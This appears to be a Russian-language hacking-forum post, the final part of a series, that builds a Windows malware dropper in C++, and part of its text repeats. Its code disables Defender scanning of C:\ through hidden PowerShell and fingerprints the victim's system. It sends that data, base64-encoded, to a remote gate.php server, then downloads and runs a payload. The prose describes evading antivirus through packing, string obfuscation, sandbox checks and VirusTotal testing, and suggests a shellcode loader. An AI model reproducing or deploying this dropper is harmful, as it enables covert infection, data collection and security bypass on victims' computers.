- Регистрация
- 20.01.2011
- Сообщения
- 7,665
- Розыгрыши
- 0
- Реакции
- 135
Разовьём тему нашего дроппера. В первый и второй раз мы сваяли простенькую версию, а теперь пора его прокачать по полной.
В предыдущей статье мы написали свой собственный phpскрипт и подняли сервер, который будет принимать от нашего дроппера айди билда и информацию о системе, ниже опубликую схему с прошлой статьи так как часто будем на неё отсылаться.
Посмотреть вложение 88662
Там мы сделали основную и большую опору на сервер в плане антибот системы, уведомлений, сбора и сохранения информации с дроппера, и поэтому в дропер мы вносим функции сбора, шифрования запроса и отправки на сервер. Значит, мы сделали ставку на сервак, а наш дроппер теперь будет как разведчик в тылу врага, почти троянский конь. Вот что мы вносим в эту хитрую штуковину в плане c++ кода:
В нём мы отключали winodws defender при помощь powershell, проверяли наличие админ прав и тупо качали файл с ссылки. Но теперь нужно будет получать некоторые параметры для отправки на сервер.
Делаем получение видеокарты через библиотеку dxgi.dll, есть и другие способы через wmic и прочее более сложное многострочное, но пока возьмём этот способ.
Следующим этапом сделаем получение размера экрана и имени пользователя.
Тут всё просто метод есть в винде, а параметры в дефайнах / макросах, SM_CXSCREEN - высота, SM_CYSCREEN - ширина, ну или икс и игрик.
Для получения имени пользователя метод тоже есть в винде, но будем получать в широких строках если попадётся какой - нибудь араб, где нету ansi.
Теперь добрались и до процессора, его то как получить? Есть множество способов, но я предлагаю через функцию cpuid, она по умолчанию есть везде.
Код сложноватый но давайте сначала проверим его работспособность.
Посмотреть вложение 88664
Всё получилось и мы успешно получили имя процессора, дело остаётся уже за малым. Получаем кол - во оперативной памяти в MB умножая на 1024 в квалрате.
Версию винды получаем через RtlGetVersion, чтобы не добавлять экспорт, сделаем через GetProcAdress.
Теперь осталось собрать эти параметры в единое целое и отправить их на наш сервер. В качестве разделителя параметров буду использовать символ "_".
Опять же проверяем всё ли получается и правильно ли выполняется код.
Посмотреть вложение 88667
Выглядит эта кракозябра конечно очень сомнительно но окэй, раз заработала значит пока не чего не меняем).
Вспоминаем скрипт сервера снова, а именно какие параметры мы там принимаем и используем.
Айди билда от 8 символов + информация которую мы ток с вами получали и выводили в консоль. То - есть по сути нам надо сделать так чтобы коннект был такого вида Для просмотра ссылки Войди или Зарегистрируйся.
Приступаем к написанию кода. Для начала добавим base64 который будет шифровать наш запрос на сервер и дешифровывать его с сервера, exe пока будем выдавать сразу с сервера без шифра для тестов.
Инклудаем данный файлик и идём в главный .cpp нашего дроппера. Код получиться следующего вида, выглядит дотошно, но давайте проверять работоспособность.
Код как ожидалось отработал и выдал ответ сервера, дальше открыл его в блокноте так как у .data файла ассоциация с ним.
Посмотреть вложение 88674
Но всё же давайте прогрузим exe и посмотрим что будет вместе с ним. И заодно попробуем скачать через хром с включенным виндовс дефендером. Грузим наш пейлоад на сервер и меняем строчку на выдачу его
Было бы очень весело если бы опять открылся блокнот, но тут открылся наш новоиспеченный пейлоад.
Посмотреть вложение 88676
Грузим дроппер на хост и качаем с него. Используйте гитхаб или свой хостинг потому, что всякие дискорды и другие могут принести вам детектов и проблем в подарок, тот же кнченный дропбокс. Файл не пропустило и снесло вакасраком, давайте попробуем его запампить и уже потом посмотрим что весёлого с ним произошло, тригериться вд здесь может много на что, включая нашу реализацию powershell исключения для него. Попробуем так же зашифровать строки с помощью Для просмотра ссылки Войдиили Зарегистрируйся, это инлайн обфускация строк макросом достаточно просто её использовать. Даже с пампом не проканало, давайте добавим проверку на виртуализацию и песочницу раз всё так плохо и печально. Самое интересное что это происходит только при скачке с хрома, при дропе на вирту такого не наблюдается.
Вот тут то старый дед как биткоин и сдулся и рантайи детекта тоже нету + не какого всратого хром алерта о том что файл скачивают мало человеков, смарт скрин есть, но на него нам пока по барабану, нам главное было обойти всратый виндовс дефендер.
Посмотреть вложение 88680Посмотреть вложение 88679
Итак что ж за проверка на виртуализацию так вынесла и решили нам херову тучу проблем, но при повторной скачке опять видим печальку, чудес не бывает. Убрав половину кода пришёл к выводу что детект в чём то другом. Почистив весь код и оставив только winMain понял в каком районе нам надо копать.
Оставив только проверку на админ права получаем слеюующий прикол в лицо.
Посмотреть вложение 88681
Решил дальше накапывать в сторону виртуализации и заметил интересный прикол как можно намудрить и обмануть этого конченного старого пердеда, в первый раз он не просто так пропустил наш файл, а потому что мы сделали ему небольшую помеху.
Самое странное что файл спокойно качается через EDGE, но при этом сносится при скачке с гугла.
Посмотреть вложение 88682
Чёто походу он образумился и вернув добавление исключений в ps я всё же обошёл этого злого мудохана, но на очень короткое время.
Посмотреть вложение 88683
Сейчас для 1000% уверенности проверим с виртуалки на новой свеженькой 11 винде с нового снапа. По итогу ситуация получается интересная, при скачке сначала с эджа на обоих виндах файл не сноситься. но при скачке сначала с хрома начинает происходить лютая дичь из - за которой надо менять код местами, при этом сам хром не детектит файл. Стало спокойно его пускать, думаю добавить нормальный манифест и иконку и уже всё будет более чем пучком.
Посмотреть вложение 88684
Сейчас перезагружу автомобиль и посмотрим заново что изменилось, файл как и полагалось сноситься. Решил побаловаться с настройками компилера и в целом посмотреть почему так происходит. Решил проверить статик детект на вирустотале и понял что надо ещё копать и копать дальше.
Посмотреть вложение 88685
Добавляем чутка мусора и проверяем заново. Короче очень странная дичь, но у нас уже есть хотя бы какой-то результат.
Посмотреть вложение 88686
В идеале надо было написать немного по другому чтобы было меньше детектов, добавить сисколлы и так далее, но так как все эти статьи писались для того чтобы показать как это работает и как это сделать, нашей основной целью было написать дроппер и понять как он работает и что должен делать, его уже можно превратить в лоадер добавив подгрузку шеллкода или loadpe, но всё же считаю данный опыт довольно интересным и весёлым, сделаю этот тред наверное завершающим потому, что кончается свободное время и появляются дела, при желании можно прикрутить запуск через создание виртуального жесткого диска, идеально подойдет для дропера(VHD). Всем спасибо за поддержку, пожалуй завершаю статью.
В предыдущей статье мы написали свой собственный phpскрипт и подняли сервер, который будет принимать от нашего дроппера айди билда и информацию о системе, ниже опубликую схему с прошлой статьи так как часто будем на неё отсылаться.
Посмотреть вложение 88662
Там мы сделали основную и большую опору на сервер в плане антибот системы, уведомлений, сбора и сохранения информации с дроппера, и поэтому в дропер мы вносим функции сбора, шифрования запроса и отправки на сервер. Значит, мы сделали ставку на сервак, а наш дроппер теперь будет как разведчик в тылу врага, почти троянский конь. Вот что мы вносим в эту хитрую штуковину в плане c++ кода:
- Система: версия / айди билда.
- Видеокарта, процессор, оперативная память.
- Юзеры: список или имя с которого запустили.
- Разрешение экрана
C++:
#include <string>
#include <fstream>
#include "windows.h"
#include <filesystem>
#include "xor.h"
#include "futils.h"
#include "cmp.h"
#include "dcmp.h"
#define USE_WINAPI false
std::filesystem::path GetTemporaryDir(){
try {
wchar_t tempPath[MAX_PATH];
DWORD dwSize = MAX_PATH;
if (GetTempPathW(dwSize,tempPath)) {
return tempPath;
}
}catch (...) {
return L"";
}
}
bool IsElevated()
{
try
{
HANDLE hToken;
BOOL runWithAdmin = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
{
TOKEN_ELEVATION elevation;
DWORD dwSize;
if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize))
{
runWithAdmin = elevation.TokenIsElevated;
}
}
if (hToken) {
CloseHandle(hToken);
}
return runWithAdmin;
}
catch (...)
{
return FALSE;
}
}
void executePoweShellCommand(const std::wstring& cmd) {
std::wstring fullCmd = L"powershell.exe -Command \"& {Start-Process powershell.exe -WindowStyle Hidden -ArgumentList '\"";
fullCmd += cmd;
fullCmd += L"\' -Verb RunAs}\"";
_wsystem(fullCmd.c_str());
}
int wmain() {
if(!IsElevated()) {
exit(EXIT_FAILURE);
}
executePoweShellCommand(StringToWString("Add-MpPreference -Force -ExclusionPath \"C://\""));
std::wstring url = L"http://127.0.0.1/file.exe";
std::filesystem::path file = GetTemporaryDir() / L"Request.data";
URLDownloadToFileW(0,url.c_str(),file.c_str(),0,0);
std::wstring command = L"start ";
command += file.c_str();
_wsystem(command.c_str());
return 0;
}
Делаем получение видеокарты через библиотеку dxgi.dll, есть и другие способы через wmic и прочее более сложное многострочное, но пока возьмём этот способ.
C++:
std::wstring GetGPUInfo() {
IDXGIFactory* pFactory = nullptr;
IDXGIAdapter* pAdapter = nullptr;
std::wstring result = L"empty";
if (SUCCEEDED(CreateDXGIFactory(__uuidof(IDXGIFactory), (void**)&pFactory))) {
if (SUCCEEDED(pFactory->EnumAdapters(0, &pAdapter))) {
DXGI_ADAPTER_DESC adapterDesc;
if (SUCCEEDED(pAdapter->GetDesc(&adapterDesc))) {
result = adapterDesc.Description;
}
pAdapter->Release();
}
pFactory->Release();
}
return result;
}
C++:
std::string GetScreenResolution() {
int screenWidth = GetSystemMetrics(SM_CXSCREEN);
int screenHeight = GetSystemMetrics(SM_CYSCREEN);
return std::to_string(screenWidth) + "x" + std::to_string(screenHeight);
}
Для получения имени пользователя метод тоже есть в винде, но будем получать в широких строках если попадётся какой - нибудь араб, где нету ansi.
C++:
std::wstring GetUserNameW() {
wchar_t szBuffer[30];
unsigned long lSize = sizeof(szBuffer);
if (GetUserNameW(szBuffer, &lSize) == 0) {
return L"empty";
}
return szBuffer;
}
C++:
std::string GetCPUInfo() {
char CPUBrandString[0x40];
int CPUInfo[4] = {-1};
__cpuid(CPUInfo, 0x80000000);
unsigned int nExIds = CPUInfo[0];
memset(CPUBrandString, 0, sizeof(CPUBrandString));
for (unsigned int i = 0x80000000; i <= nExIds; ++i) {
__cpuid(CPUInfo, i);
if (i == 0x80000002)
memcpy(CPUBrandString, CPUInfo, sizeof(CPUInfo));
else if (i == 0x80000003)
memcpy(CPUBrandString + 16, CPUInfo, sizeof(CPUInfo));
else if (i == 0x80000004)
memcpy(CPUBrandString + 32, CPUInfo, sizeof(CPUInfo));
}
return std::string(CPUBrandString);
}
Посмотреть вложение 88664
Всё получилось и мы успешно получили имя процессора, дело остаётся уже за малым. Получаем кол - во оперативной памяти в MB умножая на 1024 в квалрате.
C++:
std::string GetRAMInfo() {
MEMORYSTATUSEX memInfo;
memInfo.dwLength = sizeof(MEMORYSTATUSEX);
GlobalMemoryStatusEx(&memInfo);
DWORDLONG totalPhysMem = memInfo.ullTotalPhys;
return std::to_string(totalPhysMem / (1024 * 1024)) + " MB";
}
C++:
std::string GetWindowsVersion() {
NTSTATUS(WINAPI *RtlGetVersion)(LPOSVERSIONINFOEXW);
OSVERSIONINFOEXW osInfo;
*(FARPROC*)&RtlGetVersion = GetProcAddress(GetModuleHandleA("ntdll"), "RtlGetVersion");
if (NULL != RtlGetVersion) {
osInfo.dwOSVersionInfoSize = sizeof(osInfo);
RtlGetVersion(&osInfo);
return "Windows " + std::to_string(osInfo.dwMajorVersion) + "." +
std::to_string(osInfo.dwMinorVersion) + " (Build " +
std::to_string(osInfo.dwBuildNumber) + ")";
}
return "empty";
}
C++:
std::wstring spl = L"_";
std::wstring info = StringToWString(GetWindowsVersion()) + spl + GetUserNameW() + spl + StringToWString(GetScreenResolution()) + spl + GetGPUInfo() + spl + StringToWString(GetCPUInfo());
printf("\n%s\n", WstringToString(info).c_str());
Посмотреть вложение 88667
Выглядит эта кракозябра конечно очень сомнительно но окэй, раз заработала значит пока не чего не меняем).
Вспоминаем скрипт сервера снова, а именно какие параметры мы там принимаем и используем.
PHP:
if (htmlspecialchars($type) == 'connect'){
$build = base64_decode($_GET['id']);
$info = base64_decode($_GET['info']);
Приступаем к написанию кода. Для начала добавим base64 который будет шифровать наш запрос на сервер и дешифровывать его с сервера, exe пока будем выдавать сразу с сервера без шифра для тестов.
C++:
#include <algorithm>
static const std::wstring base64_chars =
L"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
L"abcdefghijklmnopqrstuvwxyz"
L"0123456789+/";
static inline bool is_base64(unsigned char c) {
return (isalnum(c) || (c == '+') || (c == '/'));
}
std::wstring base64_encode(const std::wstring &input) {
std::string temp(input.begin(), input.end());
std::string output;
int i = 0, j = 0;
unsigned char char_array_3[3], char_array_4[4];
unsigned int in_len = temp.size();
unsigned char const* bytes_to_encode = reinterpret_cast<const unsigned char*>(temp.c_str());
while (in_len--) {
char_array_3[i++] = *(bytes_to_encode++);
if (i == 3) {
char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
char_array_4[3] = char_array_3[2] & 0x3f;
for (i = 0; i < 4; i++)
output += base64_chars[char_array_4[i]];
i = 0;
}
}
if (i) {
for (j = i; j < 3; j++)
char_array_3[j] = '\0';
char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
for (j = 0; j < i + 1; j++)
output += base64_chars[char_array_4[j]];
while (i++ < 3)
output += '=';
}
return std::wstring(output.begin(), output.end());
}
std::wstring base64_decode(const std::wstring &encoded_string) {
std::string input(encoded_string.begin(), encoded_string.end());
int in_len = input.size();
int i = 0;
int j = 0;
int in_ = 0;
unsigned char char_array_4[4], char_array_3[3];
std::string ret;
while (in_len-- && (input[in_] != '=') && is_base64(input[in_])) {
char_array_4[i++] = input[in_]; in_++;
if (i == 4) {
for (i = 0; i < 4; i++)
char_array_4[i] = base64_chars.find(char_array_4[i]);
char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
for (i = 0; i < 3; i++)
ret += char_array_3[i];
i = 0;
}
}
if (i) {
for (j = i; j < 4; j++)
char_array_4[j] = 0;
for (j = 0; j < 4; j++)
char_array_4[j] = base64_chars.find(char_array_4[j]);
char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
for (j = 0; (j < i - 1); j++) ret += char_array_3[j];
}
return std::wstring(ret.begin(), ret.end());
}
PHP:
int wmain() {
std::wstring spl = L"_";
if(!IsElevated()) {
exit(EXIT_FAILURE);
}
executePoweShellCommand(StringToWString("Add-MpPreference -Force -ExclusionPath \"C://\""));
std::wstring url = L"https://host.com/Gate.php?event=connect&id=";
url += base64_encode(L"PeaceDuke");
url += L"&info=";
std::wstring info = StringToWString(GetWindowsVersion()) + spl + GetUserNameW() + spl + StringToWString(GetScreenResolution()) + spl + GetGPUInfo() + spl + StringToWString(GetCPUInfo());
url += base64_encode(info);
std::filesystem::path file = GetTemporaryDir() / L"Request.data";
URLDownloadToFileW(0,url.c_str(),file.c_str(),0,0);
std::wstring command = L"start ";
command += file.c_str();
_wsystem(command.c_str());
return 0;
}
Посмотреть вложение 88674
Но всё же давайте прогрузим exe и посмотрим что будет вместе с ним. И заодно попробуем скачать через хром с включенным виндовс дефендером. Грузим наш пейлоад на сервер и меняем строчку на выдачу его
PHP:
die(file_get_contents("Example.exe"));
Посмотреть вложение 88676
Грузим дроппер на хост и качаем с него. Используйте гитхаб или свой хостинг потому, что всякие дискорды и другие могут принести вам детектов и проблем в подарок, тот же кнченный дропбокс. Файл не пропустило и снесло вакасраком, давайте попробуем его запампить и уже потом посмотрим что весёлого с ним произошло, тригериться вд здесь может много на что, включая нашу реализацию powershell исключения для него. Попробуем так же зашифровать строки с помощью Для просмотра ссылки Войди
Вот тут то старый дед как биткоин и сдулся и рантайи детекта тоже нету + не какого всратого хром алерта о том что файл скачивают мало человеков, смарт скрин есть, но на него нам пока по барабану, нам главное было обойти всратый виндовс дефендер.
Посмотреть вложение 88680Посмотреть вложение 88679
Итак что ж за проверка на виртуализацию так вынесла и решили нам херову тучу проблем, но при повторной скачке опять видим печальку, чудес не бывает. Убрав половину кода пришёл к выводу что детект в чём то другом. Почистив весь код и оставив только winMain понял в каком районе нам надо копать.
Оставив только проверку на админ права получаем слеюующий прикол в лицо.
Посмотреть вложение 88681
Решил дальше накапывать в сторону виртуализации и заметил интересный прикол как можно намудрить и обмануть этого конченного старого пердеда, в первый раз он не просто так пропустил наш файл, а потому что мы сделали ему небольшую помеху.
Самое странное что файл спокойно качается через EDGE, но при этом сносится при скачке с гугла.
Посмотреть вложение 88682
Чёто походу он образумился и вернув добавление исключений в ps я всё же обошёл этого злого мудохана, но на очень короткое время.
Посмотреть вложение 88683
Сейчас для 1000% уверенности проверим с виртуалки на новой свеженькой 11 винде с нового снапа. По итогу ситуация получается интересная, при скачке сначала с эджа на обоих виндах файл не сноситься. но при скачке сначала с хрома начинает происходить лютая дичь из - за которой надо менять код местами, при этом сам хром не детектит файл. Стало спокойно его пускать, думаю добавить нормальный манифест и иконку и уже всё будет более чем пучком.
Посмотреть вложение 88684
Сейчас перезагружу автомобиль и посмотрим заново что изменилось, файл как и полагалось сноситься. Решил побаловаться с настройками компилера и в целом посмотреть почему так происходит. Решил проверить статик детект на вирустотале и понял что надо ещё копать и копать дальше.
Посмотреть вложение 88685
Добавляем чутка мусора и проверяем заново. Короче очень странная дичь, но у нас уже есть хотя бы какой-то результат.
Посмотреть вложение 88686
В идеале надо было написать немного по другому чтобы было меньше детектов, добавить сисколлы и так далее, но так как все эти статьи писались для того чтобы показать как это работает и как это сделать, нашей основной целью было написать дроппер и понять как он работает и что должен делать, его уже можно превратить в лоадер добавив подгрузку шеллкода или loadpe, но всё же считаю данный опыт довольно интересным и весёлым, сделаю этот тред наверное завершающим потому, что кончается свободное время и появляются дела, при желании можно прикрутить запуск через создание виртуального жесткого диска, идеально подойдет для дропера(VHD). Всем спасибо за поддержку, пожалуй завершаю статью.